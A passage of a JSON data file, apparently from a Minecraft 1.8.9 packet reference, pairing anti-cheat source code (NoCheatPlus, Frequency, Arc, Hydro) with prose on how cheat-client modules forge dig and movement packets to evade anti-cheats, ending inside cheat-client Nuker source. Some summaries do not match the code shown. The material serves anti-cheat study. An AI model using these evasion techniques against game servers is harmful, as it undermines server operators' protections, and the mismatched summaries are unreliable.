*/\npublic class MovingFlying extends BaseAdapter {\n\n    private static final boolean isServerAtLeast1_21_3 = ServerVersion.isAtLeast(\"1.21.3\");\n    // Setup for flying packets.\n    public static final int indexOnGround = 0;\n    public static final int indexhorizontalCollision = isServerAtLeast1_21_3 ? 1 : 0;\n    public static final int indexhasPos = 1 + indexhorizontalCollision;\n    public static final int indexhasLook = 2 + indexhorizontalCollision;\n    public static final int indexX = 0;\n    public static final int indexY = 1;\n    public static final int indexZ = 2;\n    public static final int indexStance = 3; // 1.7.10\n    public static final int indexYaw = 0;\n    public static final int indexPitch = 1;\n\n    // Setup for teleport accept packet.\n    private static PacketType confirmTeleportType;\n    private static boolean acceptConfirmTeleportPackets;\n\n    private final Plugin plugin = Bukkit.getPluginManager().getPlugin(\"NoCheatPlus\");\n    private static PacketType[] initPacketTypes() {\n        final List<PacketType> types = new LinkedList<PacketType>(Arrays.asList(PacketType.Play.Client.LOOK, PacketType.Play.Client.POSITION, PacketType.Play.Client.POSITION_LOOK));\n        if (ServerVersion.isLowerThan(\"1.17\")) {\n            types.add(PacketType.Play.Client.FLYING);\n            StaticLog.logInfo(\"Add listener for legacy PlayInFlying packet.\");\n        } \n        else types.add(PacketType.Play.Client.GROUND);\n        // Add confirm teleport.\n        // PacketPlayInTeleportAccept\n        confirmTeleportType = ProtocolLibComponent.findPacketTypeByName(Protocol.PLAY, Sender.CLIENT, \"AcceptTeleportation\");\n        if (confirmTeleportType == null) { // Fallback check for the old packet name.\n            confirmTeleportType = ProtocolLibComponent.findPacketTypeByName(Protocol.PLAY, Sender.CLIENT, \"TeleportAccept\");\n        }\n        if (confirmTeleportType != null && ServerVersion.isAtLeast(\"1.9\")) {\n            StaticLog.logInfo(\"Confirm teleport packet available (via name): \" + confirmTeleportType);\n            types.add(confirmTeleportType);\n            acceptConfirmTeleportPackets = true;\n        } \n        else acceptConfirmTeleportPackets = false;\n        return types.toArray(new PacketType[types.size()]);\n    }\n\n    /** Frequency check for flying packets. */\n    private final FlyingFrequency flyingFrequency = new FlyingFrequency();\n    /** Other checks related to packet content. */\n    private final Moving moving = new Moving();\n    /** Ilegal pitch check */\n    private final WrongTurn wrongTurn = new WrongTurn(); \n\n    private final int idFlying = counters.registerKey(\"packet.flying\");\n    private final int idAsyncFlying = counters.registerKey(\"packet.flying.asynchronous\");\n\n    /** If a packet can't be parsed, this time stamp is set for occasional logging. */\n    private long packetMismatch = Long.MIN_VALUE;\n    /** Every minute max, good for updating :).*/\n    private long packetMismatchLogFrequency = 60000;\n\n    private final HashSet<PACKET_CONTENT> validContent = new LinkedHashSet<PACKET_CONTENT>();\n    \n    public MovingFlying(Plugin plugin) {\n        // PacketPlayInFlying[3, legacy: 10]\n        super(plugin, ListenerPriority.LOW, initPacketTypes());\n        // Keep the CheckType NET for now.\n        // Add feature tags for checks.\n        if (NCPAPIProvider.getNoCheatPlusAPI().getWorldDataManager().isActiveAnywhere(CheckType.NET_FLYINGFREQUENCY)) {\n            NCPAPIProvider.getNoCheatPlusAPI().addFeatureTags( \"checks\", Arrays.asList(FlyingFrequency.class.getSimpleName()));\n        }\n        NCPAPIProvider.getNoCheatPlusAPI().addComponent(flyingFrequency);\n    }\n\n    @Override\n    public void onPacketReceiving(final PacketEvent event) {\n        try {\n            if (event.isPlayerTemporary()) return;\n        } \n        catch (NoSuchMethodError e) {\n            if (event.getPlayer() == null) {\n                return;\n            }\n            if (DataManager.getPlayerDataSafe(event.getPlayer()) == null) {\n                return;\n            }\n        }\n        if (event.getPacketType().equals(confirmTeleportType)) {\n            if (acceptConfirmTeleportPackets) {\n                onConfirmTeleportPacket(event);\n            }\n        }\n        else onFlyingPacket(event);\n    }\n\n    private void onConfirmTeleportPacket(final PacketEvent event) {\n        try {\n            processConfirmTeleport(event);\n        }\n        catch (Throwable t) {\n            noConfirmTeleportPacket();\n        }\n    }\n\n    private void processConfirmTeleport(final PacketEvent event) {\n        final PacketContainer packet = event.getPacket();\n        final StructureModifier<Integer> integers = packet.getIntegers();\n        if (integers.size() != 1) {\n            noConfirmTeleportPacket();\n            return;\n        }\n        // TODO: Cross check legacy types (if they even had an integer).\n        Integer teleportId = integers.read(0);\n        if (teleportId == null) {\n            // TODO: Not sure ...\n            return;\n        }\n        final Player player = event.getPlayer();\n        final IPlayerData pData = DataManager.getPlayerDataSafe(player);\n        final NetData data = pData.getGenericInstance(NetData.class);\n        final AlmostBoolean matched = data.teleportQueue.processAck(teleportId);\n        if (matched.decideOptimistically()) {\n            ActionFrequency.subtract(System.currentTimeMillis(), 1, data.flyingFrequencyAll);\n        }\n        if (pData.isDebugActive(this.checkType)) { \n            debug(player, \"Confirm teleport packet\" + (matched.decideOptimistically() ? (\" (matched=\" + matched + \")\") : \"\") + \": \" + teleportId);\n        }\n    }\n\n    private void noConfirmTeleportPacket() {\n        acceptConfirmTeleportPackets = false;\n        // TODO: Attempt to unregister.\n        NCPAPIProvider.getNoCheatPlusAPI().getLogManager().info(Streams.STATUS, \"Confirm teleport packet not available.\");\n    }\n\n    private void onFlyingPacket(final PacketEvent event) {\n        final boolean primaryThread = Bukkit.isPrimaryThread(); \n        counters.add(idFlying, 1, primaryThread);\n        if (event.isAsync() == primaryThread) {\n            counters.add(ProtocolLibComponent.idInconsistentIsAsync, 1, primaryThread);\n        }\n        if (!primaryThread) {\n            // Count all asynchronous events extra.\n            counters.addSynchronized(idAsyncFlying, 1);\n            // TODO: Detect game phase for the player?\n        }\n\n        final long time =  System.currentTimeMillis();\n        final Player player = event.getPlayer();\n        if (player == null) {\n            // TODO: Need config?\n            counters.add(ProtocolLibComponent.idNullPlayer, 1, primaryThread);\n            event.setCancelled(true);\n            return;\n        }\n\n        final IPlayerData pData = DataManager.getPlayerDataSafe(player);\n        // Always update last received time.\n        final NetData data = pData.getGenericInstance(NetData.class);\n        data.lastKeepAliveTime = time; // Update without much of a contract.\n        // TODO: Leniency options too (packet order inversion). -> current: flyingQueue is fetched.\n        final NetConfig cc = pData.getGenericInstance(NetConfig.class);\n        boolean cancel = false;\n        // Interpret the packet content.\n        final DataPacketFlying packetData = interpretPacket(event, time);\n        // Early return tests, if the packet can be interpreted.\n        boolean skipChecks = false;\n        if (packetData != null) {\n            // Prevent processing packets with obviously malicious content.\n            if (isInvalidContent(packetData)) {\n                event.setCancelled(true);\n                // Do request and improbable update here for good measure.\n                TickTask.requestImprobableUpdate(player.getUniqueId(), 1.0f);\n                if (pData.isDebugActive(this.checkType)) {\n                    debug(player, \"Incoming flying packet, cancel due to malicious content: \" + packetData.toString());\n                }\n                return;\n            }\n\n            switch (data.teleportQueue.processAck(packetData)) {\n                case WAITING: {\n                    if (pData.isDebugActive(this.checkType)) {\n                        debug(player, \"Incoming flying packet, still waiting for ACK on outgoing position.\");\n                    }\n                    if (confirmTeleportType != null && cc.supersededFlyingCancelWaiting) {\n                        // Don't add to the flying queue for now (assumed invalid).\n                        final AckReference ackReference = data.teleportQueue.getLastAckReference();\n                        if (ackReference.lastOutgoingId != Integer.MIN_VALUE && ackReference.lastOutgoingId != ackReference.maxConfirmedId) {\n                            // Still waiting for a 'confirm teleport' packet. More or less safe to cancel this out.\n                            /*\n                             * TODO: The actual issue with this, apart from\n                             * potential freezing, also concerns gameplay experience\n                             * in case of minor set backs, which also could be\n                             * caused by the server, e.g. with 'moved wrongly' or\n                             * setting players outside of blocks. In this case the\n                             * moves sent before teleport ack would still be valid\n                             * after the teleport, because distances are small. The\n                             * actual solution should still be to a) not have false\n                             * positives b) somehow get rid all the\n                             * position-correction teleporting the server does, for\n                             * the cases a plugin can handle.\n                             */\n                             // See todo below on if (cancel) {...}\n                             cancel = true;\n                        }\n                    }\n                    break;\n                }\n                case ACK: {\n                    // Skip processing ACK packets, no cancel.\n                    skipChecks = true;\n                    if (pData.isDebugActive(this.checkType)) {\n                        debug(player, \"Incoming flying packet, interpret as ACK for outgoing position. Skip checks.\");\n                    }\n                }\n                default: {\n                    // Continue.\n                    data.addFlyingQueue(packetData); // TODO: Not the optimal position, perhaps.\n                }\n            }\n            // Add as valid packet (exclude invalid coordinates etc. for now).\n            validContent.add(packetData.getSimplifiedContentType());\n        }\n\n        // Actual packet frequency check.\n        // TODO: Consider using the NetStatic check.\n        if (!cancel && !skipChecks \n            && flyingFrequency.check(player, packetData, time, data, cc, pData)\n            && !pData.hasBypass(CheckType.NET_FLYINGFREQUENCY, player)) {\n            cancel = true;\n        }\n        // More packet checks.\n        if (!cancel && !skipChecks && pData.isCheckActive(CheckType.NET_MOVING, player) \n            && moving.check(player, packetData, data, cc, pData, plugin)\n            && !pData.hasBypass(CheckType.NET_MOVING, player)) {\n            cancel = true;\n        }\n        // Illegal pitch check\n        if (!cancel && pData.isCheckActive(CheckType.NET_WRONGTURN, player) \n            && wrongTurn.check(player, packetData.getPitch(), data, cc)\n            && !pData.hasBypass(CheckType.NET_WRONGTURN, player)) {\n            cancel = true; // Is it a good idea to cancel or should we just reset the players pitch?\n        }\n        if (!cancel && pData.isCheckActive(CheckType.MOVING_NOFALL, player)) {\n            final MovingData mData = pData.getGenericInstance(MovingData.class);\n            final float noFallFallDistance = mData.noFallFallDistance;\n            if (mData.requestTrueForGround) {\n                // If damage has already dealt\n                if (noFallFallDistance > 0.0) {\n                    player.setFallDistance(noFallFallDistance);\n                    event.getPacket().getBooleans().write(indexOnGround, mData.requestTrueForGround);\n                }\n                mData.requestTrueForGround = false;\n            }\n        }\n\n        // Process cancel and debug log.\n        if (cancel) {\n            /*\n             * TODO: Test if this can fix packet fly exploits; it will also cause set backs on flying packets awaiting ACK(s)\n             *  Previously, NCP would simply cancel these flying packets out, without really restricting movement.\n             */\n            data.requestSetBack(player, this, plugin, CheckType.NET);\n            event.setCancelled(true);\n        }\n        \n        if (pData.isDebugActive(this.checkType)) {\n            debug(player, (packetData == null ? \"(Incompatible data)\" : packetData.toString()) + (event.isCancelled() ? \" CANCEL\" : \"\"));\n        }\n    }\n    \n    /**\n     * Checks if the given {@link DataPacketFlying} contains invalid position or look data. <br>\n     * Delegates to {@link LocUtil#isBadCoordinate(double...)} and {@link LocUtil#isBadCoordinate(float...)}.<br>\n     * If this returns true, invalid packets won't be added to the flying queue, and will be cancelled immediately.\n     *\n     * @param packetData the flying packet data to validate\n     * @return true if the packet contains invalid position or look data, false otherwise\n     */\n    private boolean isInvalidContent(final DataPacketFlying packetData) {\n        if (packetData.hasPos && LocUtil.isBadCoordinate(packetData.getX(), packetData.getY(), packetData.getZ())) {\n            return true;\n        }\n        if (packetData.hasLook && LocUtil.isBadCoordinate(packetData.getYaw(), packetData.getPitch())) {\n            return true;\n        }\n        return false;\n    }\n\n    /**\n     * Interpret the packet content and do with it whatever is suitable.\n     * @param event\n     * @param time\n     * @return Packet data if successful, or null on packet mismatch.\n     */\n    private DataPacketFlying interpretPacket(final PacketEvent event, final long time) {\n        final PacketContainer packet = event.getPacket();\n        final List<Boolean> booleans = packet.getBooleans().getValues();\n        if (booleans.size() != (isServerAtLeast1_21_3 ? 4 : 3)) {\n            packetMismatch(event);\n            return null;\n        }\n        final boolean onGround = booleans.get(MovingFlying.indexOnGround).booleanValue();\n        final boolean horizontalCollision = isServerAtLeast1_21_3 && booleans.get(MovingFlying.indexhorizontalCollision).booleanValue();\n        final boolean hasPos = booleans.get(MovingFlying.indexhasPos).booleanValue();\n        final boolean hasLook = booleans.get(MovingFlying.indexhasLook).booleanValue();\n\n        if (!hasPos && !hasLook) {\n            return new DataPacketFlying(onGround, horizontalCollision, time);\n        }\n        final List<Double> doubles;\n        final List<Float> floats;\n\n        if (hasPos) {\n            doubles = packet.getDoubles().getValues();\n            if (doubles.size() != 3 && doubles.size() != 4) {\n                // 3: 1.8, 4: 1.7.10 and before (stance).\n                packetMismatch(event);\n                return null;\n            }\n            // TODO: before 1.8: stance (should make possible to reject in isInvalidContent).\n        }\n        else {\n            doubles = null;\n        }\n\n        if (hasLook) {\n            floats = packet.getFloat().getValues();\n            if (floats.size() != 2) {\n                packetMismatch(event);\n                return null;\n            }\n        }\n        else {\n            floats = null;\n        }\n        if (hasPos && hasLook) {\n            return new DataPacketFlying(onGround, horizontalCollision, doubles.get(indexX), doubles.get(indexY), doubles.get(indexZ), floats.get(indexYaw), floats.get(indexPitch), time);\n        }\n        else if (hasLook) {\n            return new DataPacketFlying(onGround, horizontalCollision, floats.get(indexYaw), floats.get(indexPitch), time);\n        }\n        else if (hasPos) {\n            return new DataPacketFlying(onGround, horizontalCollision, doubles.get(indexX), doubles.get(indexY), doubles.get(indexZ), time);\n        }\n        else {\n            throw new IllegalStateException(\"Can't be, it can't be!\");\n        }\n    }\n\n    /**\n     * Log warning to console, stop interpreting packet content.\n     */\n    private void packetMismatch(final PacketEvent packetEvent) {\n        final long time = Monotonic.synchMillis();\n        if (time - packetMismatchLogFrequency > packetMismatch) {\n            packetMismatch = time;\n            StringBuilder builder = new StringBuilder(512);\n            builder.append(CheckUtils.getLogMessagePrefix(packetEvent.getPlayer(), checkType));\n            builder.append(\"Incoming packet could not be interpreted. Are server and plugins up to date (NCP/ProtocolLib...)? This message is logged every \");\n            builder.append(Long.toString(packetMismatchLogFrequency / 1000));\n            builder.append(\" seconds, disregarding for which player this happens.\");\n            if (!validContent.isEmpty()) {\n                builder.append(\" On other occasion, valid content was received for: \");\n                StringUtil.join(validContent, \", \", builder);\n            }\n            NCPAPIProvider.getNoCheatPlusAPI().getLogManager().warning(Streams.STATUS, builder.toString());\n        }\n    }\n}",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/MovingFlying.java",
       "variations": "Frequency and Degrade use WrappedPlayInFlying on their own event bus; CloudAC ships WrapperPlayClientFlying; CheaterDeleter hooks PlayerMoveC2SPacket via a Fabric mixin."
      },
      {
       "name": "FlyA (Frequency)",
       "found_in": [
        "ElevatedDev-Frequency",
        "MinecraftUserHAN1110-FrequencyPlus"
       ],
       "purpose": "Classic 1.8 fly check: vertical motion must match gravity and jump physics.",
       "how_it_works": "PostCheck on WrappedPlayInFlying: tracks the y delta and ground flag, compares against expected gravity, jump momentum and piston/water modifiers, accumulates a buffer and fails on persistent impossible vertical motion. Small, event-driven, representative of the 1.8 generation.",
       "detects": "Fly modules, vertical speed, highjump, and any vertical motion that ignores gravity.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/fly/FlyA.java =====\npackage xyz.elevated.frequency.check.impl.fly;\n\nimport net.minecraft.server.v1_8_R3.EntityPlayer;\nimport org.bukkit.Location;\nimport xyz.elevated.frequency.check.CheckData;\nimport xyz.elevated.frequency.check.type.PositionCheck;\nimport xyz.elevated.frequency.data.PlayerData;\nimport xyz.elevated.frequency.update.PositionUpdate;\nimport xyz.elevated.frequency.util.NmsUtil;\n\n@CheckData(name = \"Fly (A)\")\npublic final class FlyA extends PositionCheck {\n\n    private double buffer = 0.0d;\n\n    public FlyA(final PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void process(final PositionUpdate positionUpdate) {\n        // Get the locations from the position update\n        final Location from = positionUpdate.getFrom();\n        final Location to = positionUpdate.getTo();\n\n        // Get the entity player from the nms util\n        final EntityPlayer entityPlayer = NmsUtil.getEntityPlayer(playerData);\n\n        // If the posY of the player is modulo by (1/64) he's on ground.\n        final boolean clientGround = entityPlayer.onGround;\n        final boolean serverGround = to.getY() % 0.015625 == 0.0 && from.getY() % 0.015625 == 0.0;\n\n        final boolean illegal = playerData.getPositionManager().getTouchingClimbable().get() || playerData.getPositionManager().getTouchingLiquid().get();\n\n        if (!illegal && clientGround != serverGround) {\n            if (++buffer > 4) fail();\n        } else {\n            buffer = 0;\n        }\n    }\n}",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/fly/FlyA.java",
       "variations": "Azure Fly, Hydro FlightA, FlopAC FlightA/B, Truthful BFlyA and MC-Jinky FlightFCheck are the same statistical pattern on different bases."
      },
      {
       "name": "NoFall (Arc v2)",
       "found_in": [
        "Vrekt-Arc-v2",
        "Vrekt-Arc"
       ],
       "purpose": "Ground-spoof check: onGround=true while the fall distance says the player is airborne.",
       "how_it_works": "On the flying packet, reads the ground flag and the accumulated fall distance; if the player reports onGround while their vertical velocity and fall distance are inconsistent with landing, the check fails. Directly targets the C03 onGround spoof used by nofall modules.",
       "detects": "NoFall ground spoofing, small-fall exploitation.",
       "detailed_code": "// ===== FILE: Vrekt-Arc-v2, src/main/java/me/vrekt/arc/check/moving/NoFall.java =====\npackage me.vrekt.arc.check.moving;\n\nimport me.vrekt.arc.check.Check;\nimport me.vrekt.arc.check.CheckType;\nimport me.vrekt.arc.data.moving.MovingData;\nimport me.vrekt.arc.utilties.LocationHelper;\nimport org.bukkit.Location;\nimport org.bukkit.entity.Player;\n\npublic class NoFall extends Check {\n\n    public NoFall() {\n        super(CheckType.NOFALL);\n    }\n\n    public void check(Player player, MovingData data) {\n        if (data.getGroundLocation() == null) {\n            return;\n        }\n\n        Location location = data.getCurrentLocation();\n        Location ground = data.getGroundLocation();\n\n        double toGround = LocationHelper.distanceVertical(ground, location);\n        boolean isDescending = toGround >= 3.0 && data.isDescending() && !data.isOnGround();\n\n        // make sure we meet the req.\n        if (isDescending && !data.isClimbing()) {\n            boolean ccOnGround = data.isFlyingClientOnGround();\n            // we're not on ground but the client is?\n            if (ccOnGround && player.getFallDistance() == 0.0) {\n                boolean cancel = checkViolation(player, \"Fall distance is 0 while not onGround. (Client faked)\");\n                // if we cancel damage the player. (not accurate)\n                // TODO: Make accurate\n                if (cancel) {\n                    player.damage(toGround);\n                }\n            }\n        }\n\n    }\n\n}",
       "code_source": "Vrekt-Arc-v2, src/main/java/me/vrekt/arc/check/moving/NoFall.java",
       "variations": "Grim NoFall (groundspoof package) predicts landing from the simulation; Hydro GroundA compares the ground flag to collision results."
      },
      {
       "name": "GroundA (Hydro)",
       "found_in": [
        "Incognitolol-Hydro"
       ],
       "purpose": "Ground-flag consistency check against server-side collision state.",
       "how_it_works": "On each position packet, compares the client's onGround flag with the server's own collision check at the reported position; a mismatch between the flag and the block below is a ground-spoof flag. 20-line check, the minimal form of the ground consistency idea.",
       "detects": "NoFall and ground spoofing where onGround does not match the terrain.",
       "detailed_code": "// ===== FILE: Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/check/impl/movement/ground/GroundA.java =====\npackage integral.studios.hydro.model.check.impl.movement.ground;\n\nimport integral.studios.hydro.model.check.type.PositionCheck;\nimport integral.studios.hydro.model.check.violation.category.Category;\nimport integral.studios.hydro.model.check.violation.category.SubCategory;\nimport integral.studios.hydro.model.check.violation.handler.ViolationHandler;\nimport integral.studios.hydro.model.PlayerData;\nimport integral.studios.hydro.util.chat.CC;\nimport integral.studios.hydro.model.check.violation.impl.DetailedPlayerViolation;\n\npublic class GroundA extends PositionCheck {\n    private int groundSpoofTicks;\n\n    public GroundA(PlayerData playerData) {\n        super(playerData, \"Ground A\", \"Yes check\", new ViolationHandler(20, 300L), Category.MOVEMENT, SubCategory.GROUND);\n    }\n\n    @Override\n    public void handle() {\n    }\n}",
       "code_source": "Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/check/impl/movement/ground/GroundA.java",
       "variations": "Negativity NegativityPlayerMoveEvent runs the same comparison on Bukkit's PlayerMoveEvent instead of raw packets."
      }
     ]
    }
   },
   "wiki_notes": [
    "Yaw is measured in degrees starting at (0, 1) and turning counterclockwise with 90 at (-1, 0), 180 at (0, -1) and 270 at (1, 0), and it is not clamped to 0-360; pitch is 0 looking straight ahead, -90 straight up and 90 straight down.",
    "Fall damage is applied when the on-ground state goes from false to true, with the amount based on the point where it last changed from true to false. Vanilla clients keep sending movement packets even while the player is stationary.",
    "MCP 1.8.9 C03PacketPlayer implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processPlayer; wire serde is readPacketData/writePacketData via readDouble, readFloat, readUnsignedByte.",
    "1.8.9 callers: EntityPlayerSP.onUpdate sends new C03PacketPlayer (line 176) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/entity/EntityPlayerSP.java"
   ],
   "seo_desc": "C03PacketPlayer (0x03): serverbound Minecraft 1.8.9 (protocol 47) movement packet, position, look, onGround, C04-C06 subclasses, MCP source.",
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C03PacketPlayer/",
   "mcp_path": "net/minecraft/network/play/client/C03PacketPlayer.java",
   "group": "play-server",
   "logic_classes": [
    "EntityPlayerSP",
    "NetHandlerPlayClient"
   ]
  },
  {
   "id": "C07PacketPlayerDigging",
   "hex": "0x07",
   "dec": 7,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Player Digging",
   "desc": "Player starts/cancels/ends mining a block, or drops an item (press Q).",
   "tags": [
    "player",
    "block",
    "mining",
    "item",
    "world"
   ],
   "fields": [
    {
     "name": "position",
     "type": "BlockPos",
     "desc": "Position of the affected block"
    },
    {
     "name": "facing",
     "type": "EnumFacing",
     "desc": "Face of the block being mined"
    },
    {
     "name": "status",
     "type": "Enum",
     "desc": "START_DESTROY_BLOCK, ABORT_DESTROY_BLOCK, STOP_DESTROY_BLOCK, DROP_ALL_ITEMS, DROP_ITEM, RELEASE_USE_ITEM"
    }
   ],
   "encoding": [
    [
     "Block Pos",
     "Position (long)",
     "Encoded as ((x & 0x3FFFFFF) << 38) | ((y & 0xFFF) << 26) | (z & 0x3FFFFFF)"
    ],
    [
     "Facing",
     "byte",
     "0=bottom, 1=top, 2=north, 3=south, 4=west, 5=east"
    ],
    [
     "Status",
     "byte",
     "0=start, 1=cancel, 2=finish, 3=dropStack, 4=dropItem, 5=finishUse"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processPlayerDigging()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "RELEASE_USE_ITEM (5) is used when the player stops eating/drinking/using a bow.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C07PacketPlayerDigging is the serverbound mining and item-use control channel. The wire form is a packed BlockPos (long), a facing byte, and a status enum byte: START_DESTROY_BLOCK, ABORT_DESTROY_BLOCK, STOP_DESTROY_BLOCK, DROP_ALL_ITEMS, DROP_ITEM, RELEASE_USE_ITEM. It is the only way the server learns that the player began mining, finished or cancelled a dig, dropped an item, or released a use-item action such as a bow draw, eating, or blocking. Client-side it is emitted from PlayerControllerMP.clickBlock (START), onPlayerDamageBlock (ABORT), onPlayerDestroyBlock (STOP), EntityPlayerSP.dropOneItem (DROP) and PlayerControllerMP.onStoppedUsingItem (RELEASE_USE_ITEM)."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayServer.processPlayerDigging switches on the status. DROP_ITEM and DROP_ALL_ITEMS call dropOneItem(false/true) unless the player is a spectator. RELEASE_USE_ITEM calls stopUsingItem, which ends the bow draw or eating and computes the fired arrow or consumed food server-side. The three dig actions share a distance gate: squared distance from the player to the block center (with a +1.5 Y bias) must be under 36.0 and the block Y below the build limit. START calls ItemInWorldManager.tryHarvestBlock when the block is not protected and inside the world border, otherwise the server replies with an S23 block change. STOP calls onPlayerDestroyBlock and ABORT cancels the dig; after STOP or ABORT an S23 is re-sent if the block is not air. There is no per-action rate limit."
     },
     {
      "h": "Why clients touch it",
      "p": "Four families dominate the corpus. Mining automation: Nuker in Rise 5.99 and 6.x sends START+STOP pairs around every block in a radius, with Teleport and Area modes that walk to the target first; Breaker in Memeware, Rise 5.99 and the Rise 6.x Breaker/NewBreaker/NewNewBreaker suite destroys cake, beds and targeted blocks; Tenacity's SpeedMine accumulates block damage client-side and finishes the dig itself. Item-use automation: FastBow in Memeware, Rise 5.99 and Sigma fires fully charged arrows by releasing early; the Rise 5.99 AutoGap/AutoPot/AutoHead/AutoSoup family and Sigma's FastUse use RELEASE_USE_ITEM to end eating, potting and item use instantly. NoSlow lives in Memeware, Rise 5.99, Rise 6.x (Legit/NCP/Intave), Sigma and Spicy, pairing RELEASE_USE_ITEM with a C08 re-place to cancel the slow. Combat auras in every client use RELEASE_USE_ITEM for autoblock, and Rise 6.x velocity and disabler modules spoof dig state for anti-cheat bypasses. The two new research clients add two more. November Recode 2.0's KillAuraModule uses C07 RELEASE_USE_ITEM as the release half of its autoblock pair (C08 place then C07 release) and cancels outgoing releases in its VANILLA and WATCHDOG autoblock modes. LiquidSense Dev's HYTRun emits C07 RELEASE_USE_ITEM for its no-slow leg, and its SpeedMine runs client-side damage accumulation with a 1.4 hardness multiplier before sending STOP_DESTROY_BLOCK."
     },
     {
      "h": "Exploit surface",
      "p": "The server processes a START+STOP pair as a complete break with no client-side damage accounting, so any module can mine instantly at the packet level; the only server-side evidence is the block's hardness versus the reported dig duration. RELEASE_USE_ITEM ignores the BlockPos entirely, so Spicy's NoSlow can send it with a random double-range position and the server reads only the status. The 36.0 distance gate is generous versus the client's 6-block reach, and Teleport-mode Nuker satisfies it by walking before digging. DROP_ITEM is a free inventory channel. Anti-cheats counter with dig-speed measurement (hardness versus START-to-STOP gap), per-second block counts for nuker patterns, and the release+re-place gap for NoSlow."
     }
    ],
    "overview": "The mining and item-use control packet: six status values over a packed position and facing byte. Nuker and Breaker forge START+STOP pairs for instant mining, Tenacity's SpeedMine runs the block math client-side, FastBow releases the bow early through RELEASE_USE_ITEM, and NoSlow pairs the release with a C08 re-place to cancel eating and blocking slows. Autoblock auras in every client fire RELEASE_USE_ITEM around each attack.",
    "server_handling": "processPlayerDigging resolves the block position, then switches on the status ordinal. Drop actions skip the distance check entirely and go straight to dropOneItem; the spectator gate is the only guard. RELEASE_USE_ITEM also skips position validation and calls stopUsingItem, which is why the random-position trick works: the server reads the enum and nothing else. Dig actions enforce the 36.0 squared-distance gate with the +1.5 Y bias, the build-limit clamp, the world-border check and the block-protection check (an S23 is sent back when the dig is refused). STOP_DESTROY_BLOCK is what actually breaks the block via onPlayerDestroyBlock; START only enters the mining state. The ItemInWorldManager tracks the dig progress server-side, but a module that sends START then STOP back-to-back completes the state machine in one round trip.",
    "protocol_notes": "The BlockPos is packed into a single long as ((x & 0x3FFFFFF) << 38) | ((y & 0xFFF) << 26) | (z & 0x3FFFFFF). The facing byte and the status byte follow; MCP reads both via readEnumValue, so both are VarInts on the wire. Status ordinals: 0 START_DESTROY_BLOCK, 1 ABORT_DESTROY_BLOCK, 2 STOP_DESTROY_BLOCK, 3 DROP_ALL_ITEMS, 4 DROP_ITEM, 5 RELEASE_USE_ITEM. Drop packets conventionally use BlockPos.ORIGIN with EnumFacing.DOWN; modules copy that convention even for release packets, and Spicy's NoSlow deliberately breaks it with random coordinates. The packet is registered at 0x07 in the SERVERBOUND play state table.",
    "anticheat_landscape": "NCP and Matrix measure the START-to-STOP gap against the block's hardness and flag instant breaks; Nuker patterns are caught by counting unique blocks destroyed per second, which is why Rise 5.99's Nuker ships a Tick throttle and an Instant Only mode that refuses hardness above 0. SpeedMine avoids the dig-speed flag by never lying about the gap: it finishes the client-side damage model and only then sends STOP. NoSlow is detected by the release+re-place packet pattern and by position comparison on the C07, which is what Spicy's random BlockPos defeats. GrimVelocity and StandardVelocity in Rise 6.x spoof START/STOP to satisfy mining-state checks during knockback, and the CubeCraft and Vulcan disablers send STOP/START at the player's own position to reset server dig state. The item-use family (FastBow, FastUse) is flagged by charge-time measurement between the C08 use and the C07 release.",
    "modules": [
     {
      "name": "Nuker",
      "found_in": [
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Break every block in a radius cube by sending START+STOP pairs at the packet level, with teleport and area variants.",
      "how_it_works": "On update, every N ticks, iterate the radius-minus-1 cube; skip air and, in Instant Only mode, any block with hardness above 0; send START_DESTROY_BLOCK then STOP_DESTROY_BLOCK for each target via sendPacketWithoutEvent, with an optional swing. Teleport mode ray-traces 999 blocks on use, pathfinds to the target with C04 packets, nukes, and walks back; Area mode picks a random point inside the .setarea box. An S02 chat filter cancels the plot-protection message.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Nuker.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.Rise;\nimport dev.rise.command.impl.SetArea;\nimport dev.rise.event.impl.other.UpdateEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.module.impl.render.Freecam;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.pathfinding.MainPathFinder;\nimport dev.rise.util.pathfinding.Vec3;\nimport dev.rise.util.player.PacketUtil;\nimport net.minecraft.block.Block;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Objects;\nimport java.util.Random;\n\n@ModuleInfo(name = \"Nuker\", description = \"Breaks blocks around you\", category = Category.OTHER)\npublic final class Nuker extends Module {\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Normal\", \"Normal\", \"Teleport\", \"Area\");\n    private final NumberSetting delay = new NumberSetting(\"Delay\", this, 100, 0, 5000, 50);\n    private final NumberSetting range = new NumberSetting(\"Range\", this, 